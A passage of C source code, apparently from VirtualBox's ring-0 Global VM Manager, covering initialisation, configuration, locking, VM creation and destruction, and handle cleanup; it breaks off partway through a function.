static int gvmmR0ByVM(PVM pVM, PGVM *ppGVM, PGVMM *ppGVMM, bool fTakeUsedLock); static int gvmmR0ByVMAndEMT(PVM pVM, VMCPUID idCpu, PGVM *ppGVM, PGVMM *ppGVMM); #ifdef GVMM_SCHED_WITH_PPT static DECLCALLBACK(void) gvmmR0SchedPeriodicPreemptionTimerCallback(PRTTIMER pTimer, void *pvUser, uint64_t iTick); #endif /** * Initializes the GVMM. * * This is called while owning the loader semaphore (see supdrvIOCtl_LdrLoad()). * * @returns VBox status code. */ GVMMR0DECL(int) GVMMR0Init(void) { LogFlow(("GVMMR0Init:\n")); /* * Allocate and initialize the instance data. */ uint32_t cHostCpus = RTMpGetArraySize(); AssertMsgReturn(cHostCpus > 0 && cHostCpus < _64K, ("%d", (int)cHostCpus), VERR_INTERNAL_ERROR_2); PGVMM pGVMM = (PGVMM)RTMemAllocZ(RT_UOFFSETOF(GVMM, aHostCpus[cHostCpus])); if (!pGVMM) return VERR_NO_MEMORY; int rc = RTSemFastMutexCreate(&pGVMM->CreateDestroyLock); if (RT_SUCCESS(rc)) { rc = RTSemFastMutexCreate(&pGVMM->UsedLock); if (RT_SUCCESS(rc)) { pGVMM->u32Magic = GVMM_MAGIC; pGVMM->iUsedHead = 0; pGVMM->iFreeHead = 1; /* the nil handle */ pGVMM->aHandles[0].iSelf = 0; pGVMM->aHandles[0].iNext = 0; /* the tail */ unsigned i = RT_ELEMENTS(pGVMM->aHandles) - 1; pGVMM->aHandles[i].iSelf = i; pGVMM->aHandles[i].iNext = 0; /* nil */ /* the rest */ while (i-- > 1) { pGVMM->aHandles[i].iSelf = i; pGVMM->aHandles[i].iNext = i + 1; } /* The default configuration values. */ uint32_t cNsResolution = RTSemEventMultiGetResolution(); pGVMM->cEMTsMeansCompany = 1; /** @todo should be adjusted to relative to the cpu count or something... */ if (cNsResolution >= 5*RT_NS_100US) { pGVMM->nsMinSleepAlone = 750000 /* ns (0.750 ms) */; /** @todo this should be adjusted to be 75% (or something) of the scheduler granularity... */ pGVMM->nsMinSleepCompany = 15000 /* ns (0.015 ms) */; pGVMM->nsEarlyWakeUp1 = 25000 /* ns (0.025 ms) */; pGVMM->nsEarlyWakeUp2 = 50000 /* ns (0.050 ms) */; } else if (cNsResolution > RT_NS_100US) { pGVMM->nsMinSleepAlone = cNsResolution / 2; pGVMM->nsMinSleepCompany = cNsResolution / 4; pGVMM->nsEarlyWakeUp1 = 0; pGVMM->nsEarlyWakeUp2 = 0; } else { pGVMM->nsMinSleepAlone = 2000; pGVMM->nsMinSleepCompany = 2000; pGVMM->nsEarlyWakeUp1 = 0; pGVMM->nsEarlyWakeUp2 = 0; } /* The host CPU data. */ pGVMM->cHostCpus = cHostCpus; uint32_t iCpu = cHostCpus; RTCPUSET PossibleSet; RTMpGetSet(&PossibleSet); while (iCpu-- > 0) { pGVMM->aHostCpus[iCpu].idxCpuSet = iCpu; #ifdef GVMM_SCHED_WITH_PPT pGVMM->aHostCpus[iCpu].Ppt.pTimer = NULL; pGVMM->aHostCpus[iCpu].Ppt.hSpinlock = NIL_RTSPINLOCK; pGVMM->aHostCpus[iCpu].Ppt.uMinHz = 5; /** @todo Add some API which figures this one out. (not *that* important) */ pGVMM->aHostCpus[iCpu].Ppt.cTicksHistoriziationInterval = 1; //pGVMM->aHostCpus[iCpu].Ppt.iTickHistorization = 0; //pGVMM->aHostCpus[iCpu].Ppt.cNsInterval = 0; //pGVMM->aHostCpus[iCpu].Ppt.uTimerHz = 0; //pGVMM->aHostCpus[iCpu].Ppt.uDesiredHz = 0; //pGVMM->aHostCpus[iCpu].Ppt.fStarted = false; //pGVMM->aHostCpus[iCpu].Ppt.fStarting = false; //pGVMM->aHostCpus[iCpu].Ppt.iHzHistory = 0; //pGVMM->aHostCpus[iCpu].Ppt.aHzHistory = {0}; #endif if (RTCpuSetIsMember(&PossibleSet, iCpu)) { pGVMM->aHostCpus[iCpu].idCpu = RTMpCpuIdFromSetIndex(iCpu); pGVMM->aHostCpus[iCpu].u32Magic = GVMMHOSTCPU_MAGIC; #ifdef GVMM_SCHED_WITH_PPT rc = RTTimerCreateEx(&pGVMM->aHostCpus[iCpu].Ppt.pTimer, 50*1000*1000 /* whatever */, RTTIMER_FLAGS_CPU(iCpu) | RTTIMER_FLAGS_HIGH_RES, gvmmR0SchedPeriodicPreemptionTimerCallback, &pGVMM->aHostCpus[iCpu]); if (RT_SUCCESS(rc)) rc = RTSpinlockCreate(&pGVMM->aHostCpus[iCpu].Ppt.hSpinlock); if (RT_FAILURE(rc)) { while (iCpu < cHostCpus) { RTTimerDestroy(pGVMM->aHostCpus[iCpu].Ppt.pTimer); RTSpinlockDestroy(pGVMM->aHostCpus[iCpu].Ppt.hSpinlock); pGVMM->aHostCpus[iCpu].Ppt.hSpinlock = NIL_RTSPINLOCK; iCpu++; } break; } #endif } else { pGVMM->aHostCpus[iCpu].idCpu = NIL_RTCPUID; pGVMM->aHostCpus[iCpu].u32Magic = 0; } } if (RT_SUCCESS(rc)) { g_pGVMM = pGVMM; LogFlow(("GVMMR0Init: pGVMM=%p cHostCpus=%u\n", pGVMM, cHostCpus)); return VINF_SUCCESS; } /* bail out. */ RTSemFastMutexDestroy(pGVMM->UsedLock); pGVMM->UsedLock = NIL_RTSEMFASTMUTEX; } RTSemFastMutexDestroy(pGVMM->CreateDestroyLock); pGVMM->CreateDestroyLock = NIL_RTSEMFASTMUTEX; } RTMemFree(pGVMM); return rc; } /** * Terminates the GVM. * * This is called while owning the loader semaphore (see supdrvLdrFree()). * And unless something is wrong, there should be absolutely no VMs * registered at this point. */ GVMMR0DECL(void) GVMMR0Term(void) { LogFlow(("GVMMR0Term:\n")); PGVMM pGVMM = g_pGVMM; g_pGVMM = NULL; if (RT_UNLIKELY(!VALID_PTR(pGVMM))) { SUPR0Printf("GVMMR0Term: pGVMM=%p\n", pGVMM); return; } /* * First of all, stop all active timers. */ uint32_t cActiveTimers = 0; uint32_t iCpu = pGVMM->cHostCpus; while (iCpu-- > 0) { ASMAtomicWriteU32(&pGVMM->aHostCpus[iCpu].u32Magic, ~GVMMHOSTCPU_MAGIC); #ifdef GVMM_SCHED_WITH_PPT if ( pGVMM->aHostCpus[iCpu].Ppt.pTimer != NULL && RT_SUCCESS(RTTimerStop(pGVMM->aHostCpus[iCpu].Ppt.pTimer))) cActiveTimers++; #endif } if (cActiveTimers) RTThreadSleep(1); /* fudge */ /* * Invalidate the and free resources. */ pGVMM->u32Magic = ~GVMM_MAGIC; RTSemFastMutexDestroy(pGVMM->UsedLock); pGVMM->UsedLock = NIL_RTSEMFASTMUTEX; RTSemFastMutexDestroy(pGVMM->CreateDestroyLock); pGVMM->CreateDestroyLock = NIL_RTSEMFASTMUTEX; pGVMM->iFreeHead = 0; if (pGVMM->iUsedHead) { SUPR0Printf("GVMMR0Term: iUsedHead=%#x! (cVMs=%#x cEMTs=%#x)\n", pGVMM->iUsedHead, pGVMM->cVMs, pGVMM->cEMTs); pGVMM->iUsedHead = 0; } #ifdef GVMM_SCHED_WITH_PPT iCpu = pGVMM->cHostCpus; while (iCpu-- > 0) { RTTimerDestroy(pGVMM->aHostCpus[iCpu].Ppt.pTimer); pGVMM->aHostCpus[iCpu].Ppt.pTimer = NULL; RTSpinlockDestroy(pGVMM->aHostCpus[iCpu].Ppt.hSpinlock); pGVMM->aHostCpus[iCpu].Ppt.hSpinlock = NIL_RTSPINLOCK; } #endif RTMemFree(pGVMM); } /** * A quick hack for setting global config values. * * @returns VBox status code. * * @param pSession The session handle. Used for authentication. * @param pszName The variable name. * @param u64Value The new value. */ GVMMR0DECL(int) GVMMR0SetConfig(PSUPDRVSESSION pSession, const char *pszName, uint64_t u64Value) { /* * Validate input. */ PGVMM pGVMM; GVMM_GET_VALID_INSTANCE(pGVMM, VERR_INTERNAL_ERROR); AssertPtrReturn(pSession, VERR_INVALID_HANDLE); AssertPtrReturn(pszName, VERR_INVALID_POINTER); /* * String switch time! */ if (strncmp(pszName, "/GVMM/", sizeof("/GVMM/") - 1)) return VERR_CFGM_VALUE_NOT_FOUND; /* borrow status codes from CFGM... */ int rc = VINF_SUCCESS; pszName += sizeof("/GVMM/") - 1; if (!strcmp(pszName, "cEMTsMeansCompany")) { if (u64Value <= UINT32_MAX) pGVMM->cEMTsMeansCompany = u64Value; else rc = VERR_OUT_OF_RANGE; } else if (!strcmp(pszName, "MinSleepAlone")) { if (u64Value <= RT_NS_100MS) pGVMM->nsMinSleepAlone = u64Value; else rc = VERR_OUT_OF_RANGE; } else if (!strcmp(pszName, "MinSleepCompany")) { if (u64Value <= RT_NS_100MS) pGVMM->nsMinSleepCompany = u64Value; else rc = VERR_OUT_OF_RANGE; } else if (!strcmp(pszName, "EarlyWakeUp1")) { if (u64Value <= RT_NS_100MS) pGVMM->nsEarlyWakeUp1 = u64Value; else rc = VERR_OUT_OF_RANGE; } else if (!strcmp(pszName, "EarlyWakeUp2")) { if (u64Value <= RT_NS_100MS) pGVMM->nsEarlyWakeUp2 = u64Value; else rc = VERR_OUT_OF_RANGE; } else rc = VERR_CFGM_VALUE_NOT_FOUND; return rc; } /** * A quick hack for getting global config values. * * @returns VBox status code. * * @param pSession The session handle. Used for authentication. * @param pszName The variable name. * @param u64Value The new value. */ GVMMR0DECL(int) GVMMR0QueryConfig(PSUPDRVSESSION pSession, const char *pszName, uint64_t *pu64Value) { /* * Validate input. */ PGVMM pGVMM; GVMM_GET_VALID_INSTANCE(pGVMM, VERR_INTERNAL_ERROR); AssertPtrReturn(pSession, VERR_INVALID_HANDLE); AssertPtrReturn(pszName, VERR_INVALID_POINTER); AssertPtrReturn(pu64Value, VERR_INVALID_POINTER); /* * String switch time! */ if (strncmp(pszName, "/GVMM/", sizeof("/GVMM/") - 1)) return VERR_CFGM_VALUE_NOT_FOUND; /* borrow status codes from CFGM... */ int rc = VINF_SUCCESS; pszName += sizeof("/GVMM/") - 1; if (!strcmp(pszName, "cEMTsMeansCompany")) *pu64Value = pGVMM->cEMTsMeansCompany; else if (!strcmp(pszName, "MinSleepAlone")) *pu64Value = pGVMM->nsMinSleepAlone; else if (!strcmp(pszName, "MinSleepCompany")) *pu64Value = pGVMM->nsMinSleepCompany; else if (!strcmp(pszName, "EarlyWakeUp1")) *pu64Value = pGVMM->nsEarlyWakeUp1; else if (!strcmp(pszName, "EarlyWakeUp2")) *pu64Value = pGVMM->nsEarlyWakeUp2; else rc = VERR_CFGM_VALUE_NOT_FOUND; return rc; } /** * Try acquire the 'used' lock. * * @returns IPRT status code, see RTSemFastMutexRequest. * @param pGVMM The GVMM instance data. */ DECLINLINE(int) gvmmR0UsedLock(PGVMM pGVMM) { LogFlow(("++gvmmR0UsedLock(%p)\n", pGVMM)); int rc = RTSemFastMutexRequest(pGVMM->UsedLock); LogFlow(("gvmmR0UsedLock(%p)->%Rrc\n", pGVMM, rc)); return rc; } /** * Release the 'used' lock. * * @returns IPRT status code, see RTSemFastMutexRelease. * @param pGVMM The GVMM instance data. */ DECLINLINE(int) gvmmR0UsedUnlock(PGVMM pGVMM) { LogFlow(("--gvmmR0UsedUnlock(%p)\n", pGVMM)); int rc = RTSemFastMutexRelease(pGVMM->UsedLock); AssertRC(rc); return rc; } /** * Try acquire the 'create & destroy' lock. * * @returns IPRT status code, see RTSemFastMutexRequest. * @param pGVMM The GVMM instance data. */ DECLINLINE(int) gvmmR0CreateDestroyLock(PGVMM pGVMM) { LogFlow(("++gvmmR0CreateDestroyLock(%p)\n", pGVMM)); int rc = RTSemFastMutexRequest(pGVMM->CreateDestroyLock); LogFlow(("gvmmR0CreateDestroyLock(%p)->%Rrc\n", pGVMM, rc)); return rc; } /** * Release the 'create & destroy' lock. * * @returns IPRT status code, see RTSemFastMutexRequest. * @param pGVMM The GVMM instance data. */ DECLINLINE(int) gvmmR0CreateDestroyUnlock(PGVMM pGVMM) { LogFlow(("--gvmmR0CreateDestroyUnlock(%p)\n", pGVMM)); int rc = RTSemFastMutexRelease(pGVMM->CreateDestroyLock); AssertRC(rc); return rc; } /** * Request wrapper for the GVMMR0CreateVM API. * * @returns VBox status code. * @param pReq The request buffer. */ GVMMR0DECL(int) GVMMR0CreateVMReq(PGVMMCREATEVMREQ pReq) { /* * Validate the request. */ if (!VALID_PTR(pReq)) return VERR_INVALID_POINTER; if (pReq->Hdr.cbReq != sizeof(*pReq)) return VERR_INVALID_PARAMETER; if (!VALID_PTR(pReq->pSession)) return VERR_INVALID_POINTER; /* * Execute it. */ PVM pVM; pReq->pVMR0 = NULL; pReq->pVMR3 = NIL_RTR3PTR; int rc = GVMMR0CreateVM(pReq->pSession, pReq->cCpus, &pVM); if (RT_SUCCESS(rc)) { pReq->pVMR0 = pVM; pReq->pVMR3 = pVM->pVMR3; } return rc; } /** * Allocates the VM structure and registers it with GVM. * * The caller will become the VM owner and there by the EMT. * * @returns VBox status code. * @param pSession The support driver session. * @param cCpus Number of virtual CPUs for the new VM. * @param ppVM Where to store the pointer to the VM structure. * * @thread EMT. */ GVMMR0DECL(int) GVMMR0CreateVM(PSUPDRVSESSION pSession, uint32_t cCpus, PVM *ppVM) { LogFlow(("GVMMR0CreateVM: pSession=%p\n", pSession)); PGVMM pGVMM; GVMM_GET_VALID_INSTANCE(pGVMM, VERR_INTERNAL_ERROR); AssertPtrReturn(ppVM, VERR_INVALID_POINTER); *ppVM = NULL; if ( cCpus == 0 || cCpus > VMM_MAX_CPU_COUNT) return VERR_INVALID_PARAMETER; RTNATIVETHREAD hEMT0 = RTThreadNativeSelf(); AssertReturn(hEMT0 != NIL_RTNATIVETHREAD, VERR_INTERNAL_ERROR); RTNATIVETHREAD ProcId = RTProcSelf(); AssertReturn(ProcId != NIL_RTPROCESS, VERR_INTERNAL_ERROR); /* * The whole allocation process is protected by the lock. */ int rc = gvmmR0CreateDestroyLock(pGVMM); AssertRCReturn(rc, rc); /* * Allocate a handle first so we don't waste resources unnecessarily. */ uint16_t iHandle = pGVMM->iFreeHead; if (iHandle) { PGVMHANDLE pHandle = &pGVMM->aHandles[iHandle]; /* consistency checks, a bit paranoid as always. */ if ( !pHandle->pVM && !pHandle->pGVM && !pHandle->pvObj && pHandle->iSelf == iHandle) { pHandle->pvObj = SUPR0ObjRegister(pSession, SUPDRVOBJTYPE_VM, gvmmR0HandleObjDestructor, pGVMM, pHandle); if (pHandle->pvObj) { /* * Move the handle from the free to used list and perform permission checks. */ rc = gvmmR0UsedLock(pGVMM); AssertRC(rc); pGVMM->iFreeHead = pHandle->iNext; pHandle->iNext = pGVMM->iUsedHead; pGVMM->iUsedHead = iHandle; pGVMM->cVMs++; pHandle->pVM = NULL; pHandle->pGVM = NULL; pHandle->pSession = pSession; pHandle->hEMT0 = NIL_RTNATIVETHREAD; pHandle->ProcId = NIL_RTPROCESS; gvmmR0UsedUnlock(pGVMM); rc = SUPR0ObjVerifyAccess(pHandle->pvObj, pSession, NULL); if (RT_SUCCESS(rc)) { /* * Allocate the global VM structure (GVM) and initialize it. */ PGVM pGVM = (PGVM)RTMemAllocZ(RT_UOFFSETOF(GVM, aCpus[cCpus])); if (pGVM) { pGVM->u32Magic = GVM_MAGIC; pGVM->hSelf = iHandle; pGVM->pVM = NULL; pGVM->cCpus = cCpus; gvmmR0InitPerVMData(pGVM); GMMR0InitPerVMData(pGVM); /* * Allocate the shared VM structure and associated page array. */ const uint32_t cbVM = RT_UOFFSETOF(VM, aCpus[cCpus]); const uint32_t cPages = RT_ALIGN_32(cbVM, PAGE_SIZE) >> PAGE_SHIFT; #ifdef RT_OS_DARWIN /** @todo Figure out why this is broken. Is it only on snow leopard? */ rc = RTR0MemObjAllocLow(&pGVM->gvmm.s.VMMemObj, (cPages + 1) << PAGE_SHIFT, false /* fExecutable */); #else rc = RTR0MemObjAllocLow(&pGVM->gvmm.s.VMMemObj, cPages << PAGE_SHIFT, false /* fExecutable */); #endif if (RT_SUCCESS(rc)) { PVM pVM = (PVM)RTR0MemObjAddress(pGVM->gvmm.s.VMMemObj); AssertPtr(pVM); memset(pVM, 0, cPages << PAGE_SHIFT); pVM->enmVMState = VMSTATE_CREATING; pVM->pVMR0 = pVM; pVM->pSession = pSession; pVM->hSelf = iHandle; pVM->cbSelf = cbVM; pVM->cCpus = cCpus; pVM->uCpuExecutionCap = 100; /* default is no cap. */ pVM->offVMCPU = RT_UOFFSETOF(VM, aCpus); AssertCompileMemberAlignment(VM, cpum, 64); AssertCompileMemberAlignment(VM, tm, 64); AssertCompileMemberAlignment(VM, aCpus, PAGE_SIZE); rc = RTR0MemObjAllocPage(&pGVM->gvmm.s.VMPagesMemObj, cPages * sizeof(SUPPAGE), false /* fExecutable */); if (RT_SUCCESS(rc)) { PSUPPAGE paPages = (PSUPPAGE)RTR0MemObjAddress(pGVM->gvmm.s.VMPagesMemObj); AssertPtr(paPages); for (uint32_t iPage = 0; iPage < cPages; iPage++) { paPages[iPage].uReserved = 0; paPages[iPage].Phys = RTR0MemObjGetPagePhysAddr(pGVM->gvmm.s.VMMemObj, iPage); Assert(paPages[iPage].Phys != NIL_RTHCPHYS); } /* * Map them into ring-3. */ rc = RTR0MemObjMapUser(&pGVM->gvmm.s.VMMapObj, pGVM->gvmm.s.VMMemObj, (RTR3PTR)-1, 0, RTMEM_PROT_READ | RTMEM_PROT_WRITE, NIL_RTR0PROCESS); if (RT_SUCCESS(rc)) { pVM->pVMR3 = RTR0MemObjAddressR3(pGVM->gvmm.s.VMMapObj); AssertPtr((void *)pVM->pVMR3); /* Initialize all the VM pointers. */ for (uint32_t i = 0; i < cCpus; i++) { pVM->aCpus[i].pVMR0 = pVM; pVM->aCpus[i].pVMR3 = pVM->pVMR3; pVM->aCpus[i].idHostCpu = NIL_RTCPUID; pVM->aCpus[i].hNativeThreadR0 = NIL_RTNATIVETHREAD; } rc = RTR0MemObjMapUser(&pGVM->gvmm.s.VMPagesMapObj, pGVM->gvmm.s.VMPagesMemObj, (RTR3PTR)-1, 0, RTMEM_PROT_READ | RTMEM_PROT_WRITE, NIL_RTR0PROCESS); if (RT_SUCCESS(rc)) { pVM->paVMPagesR3 = RTR0MemObjAddressR3(pGVM->gvmm.s.VMPagesMapObj); AssertPtr((void *)pVM->paVMPagesR3); /* complete the handle - take the UsedLock sem just to be careful. */ rc = gvmmR0UsedLock(pGVMM); AssertRC(rc); pHandle->pVM = pVM; pHandle->pGVM = pGVM; pHandle->hEMT0 = hEMT0; pHandle->ProcId = ProcId; pGVM->pVM = pVM; pGVM->aCpus[0].hEMT = hEMT0; pVM->aCpus[0].hNativeThreadR0 = hEMT0; pGVMM->cEMTs += cCpus; gvmmR0UsedUnlock(pGVMM); gvmmR0CreateDestroyUnlock(pGVMM); *ppVM = pVM; Log(("GVMMR0CreateVM: pVM=%p pVMR3=%p pGVM=%p hGVM=%d\n", pVM, pVM->pVMR3, pGVM, iHandle)); return VINF_SUCCESS; } RTR0MemObjFree(pGVM->gvmm.s.VMMapObj, false /* fFreeMappings */); pGVM->gvmm.s.VMMapObj = NIL_RTR0MEMOBJ; } RTR0MemObjFree(pGVM->gvmm.s.VMPagesMemObj, false /* fFreeMappings */); pGVM->gvmm.s.VMPagesMemObj = NIL_RTR0MEMOBJ; } RTR0MemObjFree(pGVM->gvmm.s.VMMemObj, false /* fFreeMappings */); pGVM->gvmm.s.VMMemObj = NIL_RTR0MEMOBJ; } } } /* else: The user wasn't permitted to create this VM. */ /* * The handle will be freed by gvmmR0HandleObjDestructor as we release the * object reference here. A little extra mess because of non-recursive lock. */ void *pvObj = pHandle->pvObj; pHandle->pvObj = NULL; gvmmR0CreateDestroyUnlock(pGVMM); SUPR0ObjRelease(pvObj, pSession); SUPR0Printf("GVMMR0CreateVM: failed, rc=%d\n", rc); return rc; } rc = VERR_NO_MEMORY; } else rc = VERR_INTERNAL_ERROR; } else rc = VERR_GVM_TOO_MANY_VMS; gvmmR0CreateDestroyUnlock(pGVMM); return rc; } /** * Initializes the per VM data belonging to GVMM. * * @param pGVM Pointer to the global VM structure. */ static void gvmmR0InitPerVMData(PGVM pGVM) { AssertCompile(RT_SIZEOFMEMB(GVM,gvmm.s) <= RT_SIZEOFMEMB(GVM,gvmm.padding)); AssertCompile(RT_SIZEOFMEMB(GVMCPU,gvmm.s) <= RT_SIZEOFMEMB(GVMCPU,gvmm.padding)); pGVM->gvmm.s.VMMemObj = NIL_RTR0MEMOBJ; pGVM->gvmm.s.VMMapObj = NIL_RTR0MEMOBJ; pGVM->gvmm.s.VMPagesMemObj = NIL_RTR0MEMOBJ; pGVM->gvmm.s.VMPagesMapObj = NIL_RTR0MEMOBJ; pGVM->gvmm.s.fDoneVMMR0Init = false; pGVM->gvmm.s.fDoneVMMR0Term = false; for (VMCPUID i = 0; i < pGVM->cCpus; i++) { pGVM->aCpus[i].gvmm.s.HaltEventMulti = NIL_RTSEMEVENTMULTI; pGVM->aCpus[i].hEMT = NIL_RTNATIVETHREAD; } } /** * Does the VM initialization. * * @returns VBox status code. * @param pVM Pointer to the shared VM structure. */ GVMMR0DECL(int) GVMMR0InitVM(PVM pVM) { LogFlow(("GVMMR0InitVM: pVM=%p\n", pVM)); /* * Validate the VM structure, state and handle. */ PGVM pGVM; PGVMM pGVMM; int rc = gvmmR0ByVMAndEMT(pVM, 0 /* idCpu */, &pGVM, &pGVMM); if (RT_SUCCESS(rc)) { if ( !pGVM->gvmm.s.fDoneVMMR0Init && pGVM->aCpus[0].gvmm.s.HaltEventMulti == NIL_RTSEMEVENTMULTI) { for (VMCPUID i = 0; i < pGVM->cCpus; i++) { rc = RTSemEventMultiCreate(&pGVM->aCpus[i].gvmm.s.HaltEventMulti); if (RT_FAILURE(rc)) { pGVM->aCpus[i].gvmm.s.HaltEventMulti = NIL_RTSEMEVENTMULTI; break; } } } else rc = VERR_WRONG_ORDER; } LogFlow(("GVMMR0InitVM: returns %Rrc\n", rc)); return rc; } /** * Indicates that we're done with the ring-0 initialization * of the VM. * * @param pVM Pointer to the shared VM structure. * @thread EMT(0) */ GVMMR0DECL(void) GVMMR0DoneInitVM(PVM pVM) { /* Validate the VM structure, state and handle. */ PGVM pGVM; PGVMM pGVMM; int rc = gvmmR0ByVMAndEMT(pVM, 0 /* idCpu */, &pGVM, &pGVMM); AssertRCReturnVoid(rc); /* Set the indicator. */ pGVM->gvmm.s.fDoneVMMR0Init = true; } /** * Indicates that we're doing the ring-0 termination of the VM. * * @returns true if termination hasn't been done already, false if it has. * @param pVM Pointer to the shared VM structure. * @param pGVM Pointer to the global VM structure. Optional. * @thread EMT(0) */ GVMMR0DECL(bool) GVMMR0DoingTermVM(PVM pVM, PGVM pGVM) { /* Validate the VM structure, state and handle. */ AssertPtrNullReturn(pGVM, false); AssertReturn(!pGVM || pGVM->u32Magic == GVM_MAGIC, false); if (!pGVM) { PGVMM pGVMM; int rc = gvmmR0ByVMAndEMT(pVM, 0 /* idCpu */, &pGVM, &pGVMM); AssertRCReturn(rc, false); } /* Set the indicator. */ if (pGVM->gvmm.s.fDoneVMMR0Term) return false; pGVM->gvmm.s.fDoneVMMR0Term = true; return true; } /** * Destroys the VM, freeing all associated resources (the ring-0 ones anyway). * * This is call from the vmR3DestroyFinalBit and from a error path in VMR3Create, * and the caller is not the EMT thread, unfortunately. For security reasons, it * would've been nice if the caller was actually the EMT thread or that we somehow * could've associated the calling thread with the VM up front. * * @returns VBox status code. * @param pVM Where to store the pointer to the VM structure. * * @thread EMT(0) if it's associated with the VM, otherwise any thread. */ GVMMR0DECL(int) GVMMR0DestroyVM(PVM pVM) { LogFlow(("GVMMR0DestroyVM: pVM=%p\n", pVM)); PGVMM pGVMM; GVMM_GET_VALID_INSTANCE(pGVMM, VERR_INTERNAL_ERROR); /* * Validate the VM structure, state and caller. */ AssertPtrReturn(pVM, VERR_INVALID_POINTER); AssertReturn(!((uintptr_t)pVM & PAGE_OFFSET_MASK), VERR_INVALID_POINTER); AssertMsgReturn(pVM->enmVMState >= VMSTATE_CREATING && pVM->enmVMState <= VMSTATE_TERMINATED, ("%d\n", pVM->enmVMState), VERR_WRONG_ORDER); uint32_t hGVM = pVM->hSelf; AssertReturn(hGVM != NIL_GVM_HANDLE, VERR_INVALID_HANDLE); AssertReturn(hGVM < RT_ELEMENTS(pGVMM->aHandles), VERR_INVALID_HANDLE); PGVMHANDLE pHandle = &pGVMM->aHandles[hGVM]; AssertReturn(pHandle->pVM == pVM, VERR_NOT_OWNER); RTPROCESS ProcId = RTProcSelf(); RTNATIVETHREAD hSelf = RTThreadNativeSelf(); AssertReturn( ( pHandle->hEMT0 == hSelf && pHandle->ProcId == ProcId) || pHandle->hEMT0 == NIL_RTNATIVETHREAD, VERR_NOT_OWNER); /* * Lookup the handle and destroy the object. * Since the lock isn't recursive and we'll have to leave it before dereferencing the * object, we take some precautions against racing callers just in case... */ int rc = gvmmR0CreateDestroyLock(pGVMM); AssertRC(rc); /* be careful here because we might theoretically be racing someone else cleaning up. */ if ( pHandle->pVM == pVM && ( ( pHandle->hEMT0 == hSelf && pHandle->ProcId == ProcId) || pHandle->hEMT0 == NIL_RTNATIVETHREAD) && VALID_PTR(pHandle->pvObj) && VALID_PTR(pHandle->pSession) && VALID_PTR(pHandle->pGVM) && pHandle->pGVM->u32Magic == GVM_MAGIC) { void *pvObj = pHandle->pvObj; pHandle->pvObj = NULL; gvmmR0CreateDestroyUnlock(pGVMM); SUPR0ObjRelease(pvObj, pHandle->pSession); } else { SUPR0Printf("GVMMR0DestroyVM: pHandle=%p:{.pVM=%p, .hEMT0=%p, .ProcId=%u, .pvObj=%p} pVM=%p hSelf=%p\n", pHandle, pHandle->pVM, pHandle->hEMT0, pHandle->ProcId, pHandle->pvObj, pVM, hSelf); gvmmR0CreateDestroyUnlock(pGVMM); rc = VERR_INTERNAL_ERROR; } return rc; } /** * Performs VM cleanup task as part of object destruction. * * @param pGVM The GVM pointer. */ static void gvmmR0CleanupVM(PGVM pGVM) { if ( pGVM->gvmm.s.fDoneVMMR0Init && !pGVM->gvmm.s.fDoneVMMR0Term) { if ( pGVM->gvmm.s.VMMemObj != NIL_RTR0MEMOBJ && RTR0MemObjAddress(pGVM->gvmm.s.VMMemObj) == pGVM->pVM) { LogFlow(("gvmmR0CleanupVM: Calling VMMR0TermVM\n")); VMMR0TermVM(pGVM->pVM, pGVM); } else AssertMsgFailed(("gvmmR0CleanupVM: VMMemObj=%p pVM=%p\n", pGVM->gvmm.s.VMMemObj, pGVM->pVM)); } GMMR0CleanupVM(pGVM); } /** * Handle destructor. * * @param pvGVMM The GVM instance pointer. * @param pvHandle The handle pointer. */ static DECLCALLBACK(void) gvmmR0HandleObjDestructor(void *pvObj, void *pvGVMM, void *pvHandle) { LogFlow(("gvmmR0HandleObjDestructor: %p %p %p\n", pvObj, pvGVMM, pvHandle)); /* * Some quick, paranoid, input validation. */ PGVMHANDLE pHandle = (PGVMHANDLE)pvHandle; AssertPtr(pHandle); PGVMM pGVMM = (PGVMM)pvGVMM; Assert(pGVMM == g_pGVMM); const uint16_t iHandle = pHandle - &pGVMM->aHandles[0]; if ( !iHandle || iHandle >= RT_ELEMENTS(pGVMM->aHandles) || iHandle != pHandle->iSelf) { SUPR0Printf("GVM: handle %d is out of range or corrupt (iSelf=%d)!\n", iHandle, pHandle->iSelf); return; } int rc = gvmmR0CreateDestroyLock(pGVMM); AssertRC(rc); rc = gvmmR0UsedLock(pGVMM); AssertRC(rc); /* * This is a tad slow but a doubly linked list is too much hassle. */ if (RT_UNLIKELY(pHandle->iNext >= RT_ELEMENTS(pGVMM->aHandles))) { SUPR0Printf("GVM: used list index %d is out of range!\n", pHandle->iNext); gvmmR0UsedUnlock(pGVMM); gvmmR0CreateDestroyUnlock(pGVMM); return; } if (pGVMM->iUsedHead == iHandle) pGVMM->iUsedHead = pHandle->iNext; else { uint16_t iPrev = pGVMM->iUsedHead; int c = RT_ELEMENTS(pGVMM->aHandles) + 2; while (iPrev) { if (RT_UNLIKELY(iPrev >= RT_ELEMENTS(pGVMM->aHandles))) { SUPR0Printf("GVM: used list index %d is out of range!\n", iPrev); gvmmR0UsedUnlock(pGVMM); gvmmR0CreateDestroyUnlock(pGVMM); return; } if (RT_UNLIKELY(c-- <= 0)) { iPrev = 0; break; } if (pGVMM->aHandles[iPrev].iNext == iHandle) break; iPrev = pGVMM->aHandles[iPrev].iNext; } if (!iPrev) { SUPR0Printf("GVM: can't find the handle previous previous of %d!\n", pHandle->iSelf); gvmmR0UsedUnlock(pGVMM); gvmmR0CreateDestroyUnlock(pGVMM); return; } Assert(pGVMM->aHandles[iPrev].iNext == iHandle); pGVMM->aHandles[iPrev].iNext = pHandle->iNext; } pHandle->iNext = 0; pGVMM->cVMs--; /* * Do the global cleanup round. */ PGVM pGVM = pHandle->pGVM; if ( VALID_PTR(pGVM) && pGVM->u32Magic == GVM_MAGIC) { pGVMM->cEMTs -= pGVM->cCpus; gvmmR0UsedUnlock(pGVMM); gvmmR0CleanupVM(pGVM); /* * Do the GVMM cleanup - must be done last. */ /* The VM and VM pages mappings/allocations. */ if (pGVM->gvmm.s.VMPagesMapObj != NIL_RTR0MEMOBJ) { rc = RTR0MemObjFree(pGVM->gvmm.s.VMPagesMapObj, false /* fFreeMappings */); AssertRC(rc); pGVM->gvmm.s.VMPagesMapObj = NIL_RTR0MEMOBJ; } if (pGVM->gvmm.s.VMMapObj != NIL_RTR0MEMOBJ) { rc = RTR0MemObjFree(pGVM->gvmm.s.VMMapObj, false /* fFreeMappings */); AssertRC(rc); pGVM->gvmm.s.VMMapObj = NIL_RTR0MEMOBJ; } if (pGVM->gvmm.s.VMPagesMemObj != NIL_RTR0MEMOBJ) { rc = RTR0MemObjFree(pGVM->gvmm.s.VMPagesMemObj, false /* 